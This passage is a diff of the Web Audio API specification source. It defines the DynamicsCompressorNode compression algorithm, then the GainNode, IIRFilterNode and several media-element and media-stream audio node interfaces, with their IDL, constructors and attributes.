+	const delay = new DelayNode(context, {delayTime: 0.006});
+	const gain = new GainNode(context);
+	const compression = new EnvelopeFollower();
+
+	input.connect(delay).connect(gain).connect(output);
+	input.connect(compression).connect(gain.gain);
+</pre>
+
+<figure>
+	<img src="images/dynamicscompressor-internal-graph.svg" alt="Schema of
+	the internal graph used by the DynamicCompressorNode">
+	<figcaption>
+		The graph of internal {{AudioNode}}s used as part of the
+		{{DynamicsCompressorNode}} processing algorithm.
+	</figcaption>
+</figure>
+
+Note: This implements the pre-delay and the application of the reduction gain.
+
+The following algorithm describes the processing performed by an
+<a>EnvelopeFollower</a> object, to be applied to the input
+signal to produce the gain reduction value. An
+<a>EnvelopeFollower</a> has two slots holding floating point
+values. Those values persist accros invocation of this algorithm.
+
+* Let <dfn attribute for="DynamicsCompressorNode">[[detector average]]</dfn> be a floating point
+	number, initialized to 0.0.
+
+* Let <dfn attribute for="DynamicsCompressorNode">[[compressor gain]]</dfn> be a floating point
+	number, initialized to 1.0.
+
+<div algorithm="reduction-gain">
+	The following algorithm allow determining a value for
+	<var>reduction gain</var>, for each sample of input, for a render
+	quantum of audio.
+
+
+	1. Let <var>attack</var> and <var>release</var> have the values of
+		{{DynamicsCompressorNode/attack}} and {{DynamicsCompressorNode/release}}, respectively, sampled at the time of
+		processing (those are <a>k-rate</a> parameters), mutiplied by the
+		sample-rate of the {{BaseAudioContext}} this
+		{{DynamicsCompressorNode}} is <a href="#associated">associated</a> with.
+
+	1. Let <var>detector average</var> be the value of the slot {{[[detector average]]}}.
+
+	1. Let <var>compressor gain</var> be the value of the slot {{[[compressor gain]]}}.
+
+	1. For each sample <var>input</var> of the render quantum to be
+		processed, execute the following steps:
+
+		1. If the absolute value of <var>input</var> is less than
+			0.0001, let <var>attenuation</var> be 1.0. Else, let
+			<var>shaped input</var> be the value of applying the <a href="#compression-curve">compression curve</a> to the absolute
+			value of <var>input</var>. Let <var>attenuation</var> be
+			<var>shaped input</var> divided by the absolute value of <var>input</var>.
+
+		2. Let <var>releasing</var> be `true` if
+			<var>attenuation</var> is greater than <var>compressor
+			gain</var>, <code>false</code> otherwise.
+
+		3. Let <var>detector rate</var> be the result of applying the
+			<a href="#detector-curve">detector curve</a> to
+			<var>attenuation</var>.
+
+		4. Subtract <var>detector average</var> from
+			<var>attenuation</var>, and multiply the result by
+			<var>detector rate</var>. Add this new result to <var>detector average</var>.
+
+		5. Clamp <var>detector average</var> to a maximum of 1.0.
+
+		6. Let <var>envelope rate</var> be the result of <a>computing the envelope rate</a> based on values of <var>attack</var> and <var>release</var>.
+
+		7. If <var>releasing</var> is `true`, set
+			<var>compressor gain</var> to be the product of
+			<var>compressor gain</var> and <var>envelope rate</var>, clamped
+			to a maximum of 1.0.
+
+		8. Else, if <var>releasing</var> is <code>false</code>, let
+			<var>gain increment</var> to be <var>detector average</var>
+			minus <var>compressor gain</var>. Multiply <var>gain
+			increment</var> by <var>envelope rate</var>, and add the result
+			to <var>compressor gain</var>.
+
+		9. Compute <var>reduction gain</var> to be <var>compressor
+			gain</var> multiplied by the return value of <a>computing the
+			makeup gain</a>.
+
+		10. Compute <var>metering gain</var> to be <var>reduction gain</var>, <a href="#linear-to-decibel">converted to
+			decibel</a>.
+
+	1. Set {{[[compressor gain]]}} to <var>compressor
+		gain</var>.
+
+	1. Set {{[[detector average]]}} to <var>detector
+		average</var>.
+
+	1. <a>Atomically</a> set the internal slot {{[[internal reduction]]}}
+		to the value of <var>metering gain</var>.
+
+		Note: This step makes the metering gain update once per block, at the
+		end of the block processing.
+</div>
+
+The makeup gain is a fixed gain stage that only depends on ratio,
+knee and threshold parameter of the compressor, and not on the
+input signal. The intent here is to increase the output level of
+the compressor so it is comparable to the input level.
+
+<div algorithm="computing makeup gain">
+	<dfn>Computing the makeup gain</dfn> means executing the following steps:
+
+	1. Let <var>full range gain</var> be the value returned by
+		applying the <a>compression curve</a> to the value 1.0.
+
+	2. Let <var>full range makeup gain</var> be the inverse of <var>full
+		range gain</var>.
+
+	3. Return the result of taking the 0.6 power of <var>full range makeup
+		gain</var>.
+</div>
+
+<div algorithm="computing envelope rate">
+	<dfn>Computing the envelope rate</dfn> is done
+	by applying a function to the ratio of the <var>compressor
+	gain</var> and the <var>detector average</var>. User-agents are
+	allowed to choose the shape of the envelope function. However, this
+	function MUST respect the following constraints:
+
+	* The envelope rate MUST be the calculated from the ratio of the
+		<var>compressor gain</var> and the <var>detector average</var>.
+
+		Note: When attacking, this number less than or equal to 1, when
+		releasing, this number is strictly greater than 1.
+
+	* The attack curve MUST be a continuous, monotonically increasing
+		function in the range \([0, 1]\).  The shape of this curve MAY be controlled by {{DynamicsCompressorNode/attack}}.
+
+	* The release curve MUST be a continuous, monotonically
+		decreasing function that is always greater than 1.  The shape of this curve MAY be controlled by {{DynamicsCompressorNode/release}}.
+
+	This operation returns the value computed by applying this function
+	to the ratio of <var>compressor gain</var> and <var>detector
+	average</var>.
+</div>
+
+Applying the <dfn id="detector-curve">detector curve</dfn> to the
+change rate when attacking or releasing allow implementing
+<em>adaptive release</em>. It is a function that MUST respect the
+following constraints:
+
+* The output of the function MUST be in \([0,1]\).
+
+* The function MUST be monotonically increasing, continuous.
+
+Note: It is allowed, for example, to have a compressor that performs an
+<em>adaptive release</em>, that is, releasing faster the harder the
+compression, or to have curves for attack and release that are not
+of the same shape.
+
+<div algorithm="apply decompression">
+	Applying a <dfn>compression curve</dfn> to a value means computing
+	the value of this sample when passed to a function, and returning
+	the computed value. This function MUST respect the following
+	characteristics:
+
+	1. Let <var>threshold</var> and <var>knee</var> have the
+		values of {{DynamicsCompressorNode/threshold}} and
+		{{DynamicsCompressorNode/knee}}, respectively,
+		[=decibels to linear gain unit|converted to linear
+		units=] and sampled at the time of processing of this
+		block (as [=k-rate=] parameters).
+	
+	1. Calculate the sum of {{DynamicsCompressorNode/threshold}} plus
+		{{DynamicsCompressorNode/knee}} also sampled at the time
+		of processing of this block (as [=k-rate=] parameters).
+		
+	1. Let <var>knee end threshold</var> have the value of this
+		sum [=decibels to linear gain unit|converted to linear
+		units=].
+
+	1. Let <var>ratio</var> have the value of the
+		{{DynamicsCompressorNode/ratio}}, sampled at the time
+		of processing of this block (as a [=k-rate=]
+		parameter).
+
+	1. This function is the identity up to the value of the linear
+		<var>threshold</var> (i.e., \(f(x) = x\)).
+
+	1. From the <var>threshold</var> up to the
+		<var>knee end threshold</var>, User-Agents can choose the
+		curve shape. The whole function MUST be monotonically
+		increasing and continuous.
+
+		Note: If the <var>knee</var> is 0, the
+		{{DynamicsCompressorNode}} is called a hard-knee compressor.
+
+	1. This function is linear, based on the <var>ratio</var>, after the
+		<var>threshold</var> and the soft knee (i.e., \(f(x) =
+		\frac{1}{ratio} \cdot x \)).
+</div>
+
+<div algorithm="convert linear to db">
+	Converting a value \(v\) in <dfn id="linear-to-decibel">linear gain
+	unit to decibel</dfn> means executing the following steps:
+
+	1. If \(v\) is equal to zero, return -1000.
+
+	2. Else, return \( 20 \, \log_{10}{v} \).
+</div>
+
+<div algorithm="convert db to linear">
+	Converting a value \(v\) in <dfn>decibels to
+	linear gain unit</dfn> means returning \(10^{v/20}\).
+</div>
+
+
+<!--
+ ██████      ███    ████ ██    ██ ██    ██  ███████  ████████  ████████
+██    ██    ██ ██    ██  ███   ██ ███   ██ ██     ██ ██     ██ ██
+██         ██   ██   ██  ████  ██ ████  ██ ██     ██ ██     ██ ██
+██   ████ ██     ██  ██  ██ ██ ██ ██ ██ ██ ██     ██ ██     ██ ██████
+██    ██  █████████  ██  ██  ████ ██  ████ ██     ██ ██     ██ ██
+██    ██  ██     ██  ██  ██   ███ ██   ███ ██     ██ ██     ██ ██
+ ██████   ██     ██ ████ ██    ██ ██    ██  ███████  ████████  ████████
+-->
+
+<h3 interface lt="gainnode" id="GainNode">
+The {{GainNode}} Interface</h3>
+
+Changing the gain of an audio signal is a fundamental operation in
+audio applications. This
+interface is an {{AudioNode}} with a single input and
+single output:
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+Each sample of each channel of the input data of the
+{{GainNode}} MUST be multiplied by the
+<a>computedValue</a> of the {{GainNode/gain}} {{AudioParam}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface GainNode : AudioNode {
+	constructor (BaseAudioContext context, optional GainOptions options = {});
+	readonly attribute AudioParam gain;
+};
+</pre>
+
+<h4 id="GainNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=method dfn-for="GainNode/constructor()">
+	: <dfn>GainNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="GainNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{GainNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter values for this {{GainNode}}.
+		</pre>
+</dl>
+
+<h4 id="GainNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="GainNode">
+	: <dfn>gain</dfn>
+	::
+		Represents the amount of gain to apply.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+</dl>
+
+<h4 dictionary lt="gainoptions" id="GainOptions">
+{{GainOptions}}</h4>
+
+This specifies options to use in constructing a
+{{GainNode}}. All members are optional; if not
+specified, the normal defaults are used in constructing the node.
+
+<pre class="idl">
+dictionary GainOptions : AudioNodeOptions {
+	float gain = 1.0;
+};
+</pre>
+
+<h5 id="dictionary-gainoptions-members">
+Dictionary {{GainOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="GainOptions">
+	: <dfn>gain</dfn>
+	:: The initial gain value for the {{GainNode/gain}} AudioParam.
+</dl>
+
+
+<!--
+████ ████ ████████  ████████ ████ ██       ████████ ████████ ████████
+ ██   ██  ██     ██ ██        ██  ██          ██    ██       ██     ██
+ ██   ██  ██     ██ ██        ██  ██          ██    ██       ██     ██
+ ██   ██  ████████  ██████    ██  ██          ██    ██████   ████████
+ ██   ██  ██   ██   ██        ██  ██          ██    ██       ██   ██
+ ██   ██  ██    ██  ██        ██  ██          ██    ██       ██    ██
+████ ████ ██     ██ ██       ████ ████████    ██    ████████ ██     ██
+-->
+
+<h3 interface lt="iirfilternode" id="IIRFilterNode">
+The {{IIRFilterNode}} Interface</h3>
+
+{{IIRFilterNode}} is an {{AudioNode}}
+processor implementing a general <a href="https://en.wikipedia.org/wiki/Infinite_impulse_response">IIR Filter</a>. In general, it is best
+to use {{BiquadFilterNode}}'s to implement
+higher-order filters for the following reasons:
+
+* Generally less sensitive to numeric issues
+
+* Filter parameters can be automated
+
+* Can be used to create all even-ordered IIR filters
+
+However, odd-ordered filters cannot be created, so if such filters
+are needed or automation is not needed, then IIR filters may be
+appropriate.
+
+Once created, the coefficients of the IIR filter cannot be changed.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: Yes
+	tail-time-notes: Continues to output non-silent audio with zero input. Since this is an IIR filter, the filter produces non-zero input forever, but in practice, this can be limited after some finite time where the output is sufficiently close to zero. The actual time depends on the filter coefficients.
+</pre>
+
+The number of channels of the output always equals the number of
+channels of the input.
+
+<pre class="idl">
+[Exposed=Window]
+interface IIRFilterNode : AudioNode {
+	constructor (BaseAudioContext context, IIRFilterOptions options);
+	undefined getFrequencyResponse (Float32Array frequencyHz,
+	                                Float32Array magResponse,
+	                                Float32Array phaseResponse);
+};
+</pre>
+
+<h4 id="IIRFilterNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="IIRFilterNode/constructor()">
+	: <dfn>IIRFilterNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="IIRFilterNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{IIRFilterNode}} will be <a href="#associated">associated</a> with.
+			options: Initial parameter value for this {{IIRFilterNode}}.
+		</pre>
+</dl>
+
+<h4 id="IIRFilterNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="IIRFilterNode">
+	: <dfn>getFrequencyResponse(frequencyHz, magResponse, phaseResponse)</dfn>
+	::
+		<span class="synchronous">Given the current filter parameter
+		settings, synchronously calculates the frequency response for the
+		specified frequencies. The three parameters MUST be
+		{{Float32Array}}s of the same length, or an
+		{{InvalidAccessError}} MUST be thrown.</span>
+
+		<pre class=argumentdef for="IIRFilterNode/getFrequencyResponse()">
+			frequencyHz: This parameter specifies an array of frequencies, in Hz, at which the response values will be calculated.
+			magResponse: This parameter specifies an output array receiving the linear magnitude response values. If a value in the <code>frequencyHz</code> parameter is not within [0, sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>magResponse</code> array MUST be <code>NaN</code>.
+			phaseResponse: This parameter specifies an output array receiving the phase response values in radians. If a value in the <code>frequencyHz</code> parameter is not within [0; sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>phaseResponse</code> array MUST be <code>NaN</code>.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="iirfilteroptions" id="IIRFilterOptions">
+{{IIRFilterOptions}}</h4>
+
+The <code>IIRFilterOptions</code> dictionary is used to specify the
+filter coefficients of the {{IIRFilterNode}}.
+
+<xmp class="idl">
+dictionary IIRFilterOptions : AudioNodeOptions {
+	required sequence<double> feedforward;
+	required sequence<double> feedback;
+};
+</xmp>
+
+<h5 id="dictionary-iirfilteroptions-members">
+Dictionary {{IIRFilterOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="IIRFilterOptions">
+	: <dfn>feedforward</dfn>
+	::
+		The feedforward coefficients for the
+		{{IIRFilterNode}}. This member is required.  See {{BaseAudioContext/createIIRFilter()/feedforward}} argument of {{BaseAudioContext/createIIRFilter()}} for other constraints.
+
+	: <dfn>feedback</dfn>
+	::
+		The feedback coefficients for the
+		{{IIRFilterNode}}. This member is required.  See {{BaseAudioContext/createIIRFilter()/feedback}} argument of {{BaseAudioContext/createIIRFilter()}} for other constraints.
+</dl>
+
+<h4 id="IIRFilterNode-filter-definition">
+Filter Definition</h4>
+
+Let \(b_m\) be the <code>feedforward</code> coefficients and
+\(a_n\) be the <code>feedback</code> coefficients specified by
+{{BaseAudioContext/createIIRFilter()}} or the {{IIRFilterOptions}} dictionary for the {{IIRFilterNode/IIRFilterNode()|constructor}}. Then the
+transfer function of the general IIR filter is given by
+
+<pre nohighlight>
+$$
+	H(z) = \frac{\sum_{m=0}^{M} b_m z^{-m}}{\sum_{n=0}^{N} a_n z^{-n}}
+$$
+</pre>
+
+where \(M + 1\) is the length of the \(b\) array and \(N + 1\) is
+the length of the \(a\) array. The coefficient \(a_0\) MUST not be 0 (see {{BaseAudioContext/createIIRFilter()/feedback|feedback parameter}} for {{BaseAudioContext/createIIRFilter()}}).
+At least one of \(b_m\) MUST be non-zero (see {{BaseAudioContext/createIIRFilter()/feedforward|feedforward parameter}} for {{BaseAudioContext/createIIRFilter()}}).
+
+Equivalently, the time-domain equation is:
+
+<pre nohighlight>
+$$
+	\sum_{k=0}^{N} a_k y(n-k) = \sum_{k=0}^{M} b_k x(n-k)
+$$
+</pre>
+
+The initial filter state is the all-zeroes state.
+
+Note: The UA may produce a warning to notify the user that NaN values have occurred in the filter state.  This is usually indicative of an unstable filter.
+
+
+<!--
+██     ██ ████████ ████████  ████    ███    ████████ ██       ████████ ██     ██ ████████ ██    ██ ████████
+███   ███ ██       ██     ██  ██    ██ ██   ██       ██       ██       ███   ███ ██       ███   ██    ██
+████ ████ ██       ██     ██  ██   ██   ██  ██       ██       ██       ████ ████ ██       ████  ██    ██
+██ ███ ██ ██████   ██     ██  ██  ██     ██ ██████   ██       ██████   ██ ███ ██ ██████   ██ ██ ██    ██
+██     ██ ██       ██     ██  ██  █████████ ██       ██       ██       ██     ██ ██       ██  ████    ██
+██     ██ ██       ██     ██  ██  ██     ██ ██       ██       ██       ██     ██ ██       ██   ███    ██
+██     ██ ████████ ████████  ████ ██     ██ ████████ ████████ ████████ ██     ██ ████████ ██    ██    ██
+-->
+<!--
+   ███    ██     ██ ████████  ████  ███████   ██████   ███████  ██     ██ ████████   ██████  ████████
+  ██ ██   ██     ██ ██     ██  ██  ██     ██ ██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██
+ ██   ██  ██     ██ ██     ██  ██  ██     ██ ██       ██     ██ ██     ██ ██     ██ ██       ██
+██     ██ ██     ██ ██     ██  ██  ██     ██  ██████  ██     ██ ██     ██ ████████  ██       ██████
+█████████ ██     ██ ██     ██  ██  ██     ██       ██ ██     ██ ██     ██ ██   ██   ██       ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██
+██     ██  ███████  ████████  ████  ███████   ██████   ███████   ███████  ██     ██  ██████  ████████
+-->
+
+<h3 interface lt="mediaelementaudiosourcenode" id="MediaElementAudioSourceNode">
+The {{MediaElementAudioSourceNode}} Interface</h3>
+
+This interface represents an audio source from an <{audio}>
+or <{video}> element.
+
+<pre class=include>
+path: audionode-noinput.include
+macros:
+	noo: 1
+	tail-time: No
+</pre>
+
+The number of channels of the output corresponds to the number of
+channels of the media referenced by the
+{{HTMLMediaElement}}. Thus, changes to the media element's
+<code>src</code> attribute can change the number of channels output
+by this node.
+
+If the sample rate of the {{HTMLMediaElement}} differs from the sample
+rate of the associated {{AudioContext}}, then the output from the
+{{HTMLMediaElement}} must be resampled to match the context's
+{{BaseAudioContext/sampleRate|sample rate}}.
+
+A {{MediaElementAudioSourceNode}} is created given an
+{{HTMLMediaElement}} using the {{AudioContext}}
+{{createMediaElementSource()}} method or the {{MediaElementAudioSourceOptions/mediaElement}} member of the {{MediaElementAudioSourceOptions}} dictionary for the {{MediaElementAudioSourceNode/MediaElementAudioSourceNode()|constructor}}.
+
+The number of channels of the single output equals the number of
+channels of the audio referenced by the {{HTMLMediaElement}}
+passed in as the argument to {{createMediaElementSource()}},
+or is 1 if the {{HTMLMediaElement}} has no audio.
+
+The {{HTMLMediaElement}} MUST behave in an identical fashion
+after the {{MediaElementAudioSourceNode}} has been created,
+<em>except</em> that the rendered audio will no longer be heard
+directly, but instead will be heard as a consequence of the
+{{MediaElementAudioSourceNode}} being connected through the
+routing graph. Thus pausing, seeking, volume, <code>src</code>
+attribute changes, and other aspects of the
+{{HTMLMediaElement}} MUST behave as they normally would if
+<em>not</em> used with a {{MediaElementAudioSourceNode}}.
+
+<pre class="example" highlight="js">
+	const mediaElement = document.getElementById('mediaElementID');
+	const sourceNode = context.createMediaElementSource(mediaElement);
+	sourceNode.connect(filterNode);
+</pre>
+
+<pre class="idl">
+[Exposed=Window]
+interface MediaElementAudioSourceNode : AudioNode {
+	constructor (AudioContext context, MediaElementAudioSourceOptions options);
+	[SameObject] readonly attribute HTMLMediaElement mediaElement;
+};
+</pre>
+
+<h4 id="MediaElementAudioSourceNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="MediaElementAudioSourceNode">
+	: <dfn>MediaElementAudioSourceNode(context, options)</dfn>
+	::
+		1. <a href="#audionode-constructor-init">initialize the AudioNode</a>
+			<var>this</var>, with <var>context</var> and <var>options</var> as arguments.
+
+		<pre class=argumentdef for="MediaElementAudioSourceNode/constructor()">
+			context: The {{AudioContext}} this new {{MediaElementAudioSourceNode}} will be <a href="#associated">associated</a> with.
+			options: Initial parameter value for this {{MediaElementAudioSourceNode}}.
+		</pre>
+</dl>
+
+<h4 id="MediaElementAudioSourceNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="MediaElementAudioSourceNode">
+	: <dfn>mediaElement</dfn>
+	::
+		The {{HTMLMediaElement}} used when constructing this
+		{{MediaElementAudioSourceNode}}.
+</dl>
+
+<h4 dictionary lt="mediaelementaudiosourceoptions" id="MediaElementAudioSourceOptions">
+{{MediaElementAudioSourceOptions}}</h4>
+
+This specifies the options to use in constructing a
+{{MediaElementAudioSourceNode}}.
+
+<pre class="idl">
+dictionary MediaElementAudioSourceOptions {
+	required HTMLMediaElement mediaElement;
+};
+</pre>
+
+<h5 id="dictionary-mediaelementaudiosourceoptions-members">
+Dictionary {{MediaElementAudioSourceOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="MediaElementAudioSourceOptions">
+	: <dfn>mediaElement</dfn>
+	:: The media element that will be re-routed. This MUST be specified.
+</dl>
+
+<h4 id="MediaElementAudioSourceOptions-security">
+Security with MediaElementAudioSourceNode and Cross-Origin Resources</h4>
+
+{{HTMLMediaElement}} allows the playback of cross-origin
+resources. Because Web Audio allows inspection of the content of
+the resource (e.g. using a {{MediaElementAudioSourceNode}}, and
+an {{AudioWorkletNode}} or {{ScriptProcessorNode}} to read the samples), information
+leakage can occur if scripts from one [[html#origin|origin]]
+inspect the content of a resource from another
+[[html#origin|origin]].
+
+To prevent this, a {{MediaElementAudioSourceNode}} MUST output
+<em>silence</em> instead of the normal output of the
+{{HTMLMediaElement}} if it has been created using an
+{{HTMLMediaElement}} for which the execution of the
+<a href="https://fetch.spec.whatwg.org/#fetching">fetch
+algorithm</a> [[!FETCH]] labeled the resource as
+<a href="https://html.spec.whatwg.org/#cors-cross-origin">CORS-cross-origin</a>.
+
+
+<!-- Big Text: MediaStream -->
+<!-- Big Text: Audio -->
+<!-- Big Text: Destination -->
+
+<h3 interface lt="mediastreamaudiodestinationnode" id="MediaStreamAudioDestinationNode">
+The {{MediaStreamAudioDestinationNode}} Interface</h3>
+
+This interface is an audio destination representing a
+{{MediaStream}} with a single {{MediaStreamTrack}}
+whose <code>kind</code> is <code>"audio"</code>. This {{MediaStream}} is
+created when the node is created and is accessible via the
+{{MediaStreamAudioDestinationNode/stream}} attribute. This stream can be used in a similar way
+as a {{MediaStream}} obtained via
+{{getUserMedia()}}, and can, for example, be sent to a
+remote peer using the <code>RTCPeerConnection</code> (described in
+[[!webrtc]]) <code>addStream()</code> method.
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 0
+	cc: 2
+	cc-mode: explicit
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+The number of channels of the input is by default 2 (stereo).
+
+<pre class="idl">
+[Exposed=Window]
+interface MediaStreamAudioDestinationNode : AudioNode {
+	constructor (AudioContext context, optional AudioNodeOptions options = {});
+	readonly attribute MediaStream stream;
+};
+</pre>
+
+<h4 id="MediaStreamAudioDestinationNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="MediaStreamAudioDestinationNode">
+	: <dfn>MediaStreamAudioDestinationNode(context, options)</dfn>
+	::
+		1. <a href="#audionode-constructor-init">Initialize the AudioNode</a>
+			<var>this</var>, with <var>context</var> and <var>options</var> as arguments.
+
+		<pre class=argumentdef for="MediaStreamAudioDestinationNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{MediaStreamAudioDestinationNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{MediaStreamAudioDestinationNode}}.
+		</pre>
+</dl>
+
+<h4 id="MediaStreamAudioDestinationNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="MediaStreamAudioDestinationNode">
+	: <dfn>stream</dfn>
+	::
+		A {{MediaStream}} containing a single {{MediaStreamTrack}} with the same
+		number of channels as the node itself, and whose
+		<code>kind</code> attribute has the value <code>"audio"</code>.
+</dl>
+
+
+<!-- Big Text: MediaStream -->
+<!-- Big Text: AudioSource -->
+
+<h3 interface lt="mediastreamaudiosourcenode" id="MediaStreamAudioSourceNode">
+The {{MediaStreamAudioSourceNode}} Interface</h3>
+
+This interface represents an audio source from a
+{{MediaStream}}.
+
+<pre class=include>
+path: audionode-noinput.include
+macros:
+	noo: 1
+	tail-time: No
+</pre>
+
+The number of channels of the output corresponds to the number of channels of
+the {{MediaStreamTrack}}. When the
+{{MediaStreamTrack}} ends, this
+{{AudioNode}} outputs one channel of silence.
+
+If the sample rate of the {{MediaStreamTrack}} differs from the sample
+rate of the associated {{AudioContext}}, then the output of the
+{{MediaStreamTrack}} is resampled to match the context's
+{{BaseAudioContext/sampleRate|sample rate}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface MediaStreamAudioSourceNode : AudioNode {
+	constructor (AudioContext context, MediaStreamAudioSourceOptions options);
+	[SameObject] readonly attribute MediaStream mediaStream;
+};
+</pre>
+
+<h4 id="MediaStreamAudioSourceNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="MediaStreamAudioSourceNode">
+	: <dfn>MediaStreamAudioSourceNode(context, options)</dfn>
+	::
+			1. If the {{MediaStreamAudioSourceOptions/mediaStream}} member of
+				{{MediaStreamAudioSourceNode/constructor(context, options)/options!!argument}} does not reference a
+				{{MediaStream}} that has at least one
+				{{MediaStreamTrack}} whose
+				<code>kind</code> attribute has the value <code>"audio"</code>,
+				throw an {{InvalidStateError}} and abort these steps. Else, let
+				this stream be <var>inputStream</var>.
+			1. Let <var>tracks</var> be the list of all
+				{{MediaStreamTrack}}s of
+				<var>inputStream</var> that have a <code>kind</code> of
+				<code>"audio"</code>.
+			1. Sort the elements in <var>tracks</var> based on their <code>id</code>
+				attribute using an ordering on sequences of [=code unit=]
+				values.
+			1. <a href="#audionode-constructor-init">Initialize the AudioNode</a>
+				<var>this</var>, with <var>context</var> and <var>options</var> as arguments.
+			1. Set an internal slot <dfn attribute
+				for="MediaStreamAudioSourceNode">[[input track]]</dfn> on this
+				{{MediaStreamAudioSourceNode}} to be the first element of
+				<var>tracks</var>.  This is the track used as the input audio for this
+				{{MediaStreamAudioSourceNode}}.
+
+			After construction, any change to the
+			{{MediaStream}} that was passed to
+			the constructor do not affect the underlying output of this {{AudioNode}}.
+
+			The slot {{[[input track]]}} is only used to keep a reference to the
+			{{MediaStreamTrack}}.
+
+			Note: This means that when removing the track chosen by the constructor
+			of the {{MediaStreamAudioSourceNode}} from the
+			{{MediaStream}} passed into this
+			constructor, the {{MediaStreamAudioSourceNode}} will still take its input
+			from the same track.
+
+			Note: The behaviour for picking the track to output is arbitrary for
+			legacy reasons. {{MediaStreamTrackAudioSourceNode}} can be used
+			instead to be explicit about which track to use as input.
+
+		<pre class=argumentdef for="MediaStreamAudioSourceNode/constructor()">
+			context: The {{AudioContext}} this new {{MediaStreamAudioSourceNode}} will be <a href="#associated">associated</a> with.
+			options: Initial parameter value for this {{MediaStreamAudioSourceNode}}.
+		</pre>
+		</pre>
+</dl>
+
+<h4 id="MediaStreamAudioSourceNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="MediaStreamAudioSourceNode">
+	: <dfn>mediaStream</dfn>
+	:: The {{MediaStream}} used when constructing this {{MediaStreamAudioSourceNode}}.
+</dl>
+
+<h4 dictionary lt="mediastreamaudiosourceoptions" id="MediaStreamAudioSourceOptions">
+{{MediaStreamAudioSourceOptions}}</h4>
+
+This specifies the options for constructing a {{MediaStreamAudioSourceNode}}.
+
+<pre class="idl">
+dictionary MediaStreamAudioSourceOptions {
+	required MediaStream mediaStream;
+};
+</pre>
+
+<h5 id="dictionary-mediastreamaudiosourceoptions-members">
+Dictionary {{MediaStreamAudioSourceOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="MediaStreamAudioSourceOptions">
+	: <dfn>mediaStream</dfn>
+	:: The media stream that will act as a source. This MUST be specified.
+</dl>
+
+
+<!-- Big Text: MediaStream -->
+<!-- Big Text: TrackAudio -->
+<!-- Big Text: Source -->
+
+<h3 interface lt="mediastreamtrackaudiosourcenode" id="MediaStreamTrackAudioSourceNode">
+The {{MediaStreamTrackAudioSourceNode}} Interface</h3>
+
+This interface represents an audio source from a {{MediaStreamTrack}}.
+
+<pre class=include>
+path: audionode-noinput.include
+macros:
+	noo: 1
+	tail-time: No
+</pre>
+
+The number of channels of the output corresponds to the number of
+channels of the {{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}}.
+
+If the sample rate of the {{MediaStreamTrack}} differs from the sample
+rate of the associated {{AudioContext}}, then the output of the
+{{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}} is resampled
+to match the context's {{BaseAudioContext/sampleRate|sample rate}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface MediaStreamTrackAudioSourceNode : AudioNode {
+	constructor (AudioContext context, MediaStreamTrackAudioSourceOptions options);
+};
+</pre>
+
+<h4 id="MediaStreamTrackAudioSourceNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="MediaStreamTrackAudioSourceNode">
+	: <dfn>MediaStreamTrackAudioSourceNode(context, options)</dfn>
+	::
+		1. If the {{MediaStreamTrackAudioSourceOptions/mediaStreamTrack}}'s
+			<code>kind</code> attribute is not <code>"audio"</code>, throw an
+			{{InvalidStateError}} and abort these steps.
+		1. <a href="#audionode-constructor-init">Initialize the AudioNode</a>
+			<var>this</var>, with <var>context</var> and <var>options</var> as arguments.
+
+		<pre class=argumentdef for="MediaStreamTrackAudioSourceNode/constructor()">
+			context: The {{AudioContext}} this new {{MediaStreamTrackAudioSourceNode}} will be <a href="#associated">associated</a> with.
+			options: Initial parameter value for this {{MediaStreamTrackAudioSourceNode}}.
+		</pre>
+</dl>
+
